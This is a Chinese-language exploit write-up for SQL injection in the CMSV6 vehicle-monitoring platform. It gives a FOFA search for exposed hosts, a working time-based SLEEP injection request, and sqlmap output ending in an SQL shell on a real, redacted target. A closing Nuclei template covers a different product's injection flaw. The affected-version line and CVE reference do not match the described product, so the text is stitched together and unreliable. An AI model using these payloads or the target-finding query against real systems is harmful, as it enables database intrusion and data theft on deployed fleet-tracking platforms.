

T1-1通天星-CMSV6车载定位监控平台-SQL

漏洞描述：

该漏洞是由于通天星CMSV6车载定位监控平台/run_stop/delete.do;downloadLogger.action接口处未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。该漏洞可配合任意文件读取获取网站绝对路径写入后门文件进行远程代码执行。CVE-2023-23744

影响版本：

F-logic DataCube3测量系统版本1.0

网站图片：



网络测绘：

fofa语法：

FOFA: body="/808gps"

漏洞复现：

payload:

```
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:

延时5秒



```
[root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -u "http://[REDACTED]/run_stop/delete.do;download
{1.7#stable}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the
e local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage

[*] starting @ 18:30:50 /2024-03-15/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[18:30:52] [INFO] resuming back-end DBMS 'mysql'
[18:30:52] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('JSESSIONID=99622FF39F8... E91BCD3169'). Do
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: http://[REDACTED]/run_stop/delete.do;downloadLogger.action?ids=(SELECT (CASE WHEN (6410=
1) END))&loadAll=1

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: http://[REDACTED]/run_stop/delete.do;downloadLogger.action?ids=1 AND (SELECT 6961 FROM (

---
[18:30:54] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL >= 5.0.12
[18:30:54] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
```

Yaml模板

```
id: F2-2FuJianKeLiXunTongXin-SQL

info:
  name: F2-2FuJianKeLiXunTongXin-SQL
  author: Kpanda
  severity: critical
  description: pwd_update.php接口处存在SQL注入漏洞
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/136925239?spm=1001.2014.3001.5502
  tags: CVE-2024-2620, FuJianKeLiXunTongXin, SQL

http:
  - raw:
    - |
      GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT (SLEEP(6))) DHhu) %20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP
      Host: {{Hostname}}
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate, br
      Connection: close
      Upgrade-Insecure-Requests: 1

  matchers:
    - type: word
      part: header
      words:
        - '200'
    - type: dsl
      dsl:
        - 'duration>=6'
```